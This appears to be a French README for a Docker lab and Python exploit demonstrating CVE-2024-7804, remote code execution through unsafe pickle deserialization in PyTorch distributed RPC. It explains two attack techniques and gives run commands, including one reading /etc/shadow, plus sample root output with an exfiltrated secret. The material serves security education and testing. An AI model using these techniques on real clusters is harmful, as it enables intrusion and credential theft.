
Lab Docker autonome et exploit Python démontrant CVE-2024-7804, une RCE critique dans le RPC distribué de PyTorch via une désérialisation pickle non sécurisée (CWE-502). Inclut deux techniques d'exploitation et des recommandations de remédiation.
Laboratoire autonome + exploit pour CVE-2024-7804 : exécution de code à distance
dans le framework RPC distribué de PyTorch (torch.distributed.rpc) via une
désérialisation non sécurisée de données non fiables (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Remarque : cet avis a ensuite été retiré/rejeté par les mainteneurs et Red Hat comme « fonctionnalité connue » — le RPC PyTorch est par conception un système pair de confiance. Le laboratoire reste une démonstration précise et pratique du problème signalé.
Chaque appel RPC transporte un namedtuple PythonUDF (, , ). Sur
le nœud récepteur, il est reconstruit avec un , sans liste
blanche et sans contrôle d'intégrité :
funcargskwargspickle.Unpickler nu# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle contrôlé par l'attaquant
...
Tout pair pouvant rejoindre le « monde » RPC peut donc faire exécuter du code
arbitraire au nœud — soit via un gadget pickle __reduce__ qui se déclenche
pendant load(), soit simplement en nommant n'importe quel appelable importable
comme UDF, puisque rien ne restreint ce que le nœud exécutera.
CVE-2024-7804/
├── docker-compose.yml # victime + attaquant sur un même réseau bridge
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — l'image vulnérable
│ └── server.py # victime : un worker RPC confiant qui attend des pairs
└── exploit/
└── exploit.py # attaquant : rejoint le monde et exécute du code sur la victime
Docker avec le plugin Compose. CPU uniquement (pas de GPU), fonctionne sur amd64 et arm64.
# 1. Démarrer le nœud victime vulnérable (rang 0, attend un pair)
docker compose up --build -d victim
# 2. Lancer l'exploit (par défaut : exécuter une commande sur la victime et récupérer sa sortie standard)
docker compose run --rm attacker
# 3. Tout arrêter
docker compose down
[attacker] ===== sortie de la commande renvoyée par la victime =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- secret exfiltré ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== fin de la sortie =====
L'attaquant a exécuté des commandes en root sur la victime et exfiltré un fichier qui n'aurait jamais dû être exposé.
| Commande | Ce qu'elle démontre |
|---|---|
docker compose run --rm attacker | Envoie subprocess.check_output comme UDF. La victime exécute la commande et renvoie sa sortie standard — RCE et exfiltration en un seul appel. |
docker compose run --rm attacker python exploit.py --reduce | Envoie un objet dont le __reduce__ exécute os.system pendant que la victime désérialise la charge utile — RCE au moment de la désérialisation (l'essence de CWE-502), avant même que l'UDF ne soit appelé. |
Commande personnalisée :
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Pour --reduce, la commande s'exécute sur la victime, surveillez-la donc là-bas :
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # la sortie apparaît dans le journal de la VICTIME
Le journal de la victime pour --reduce se termine par une traceback à
torch/distributed/rpc/internal.py, ligne ~207 (python_udf.func(...)) — preuve que
la charge utile a déjà été reconstruite et exécutée par le désérialiseur non sécurisé.
29500) à des réseaux non fiables.Pour l'éducation et les tests de sécurité autorisés uniquement. Le laboratoire est intentionnellement vulnérable — ne le déployez pas, et n'exécutez l'exploit que contre ce laboratoire.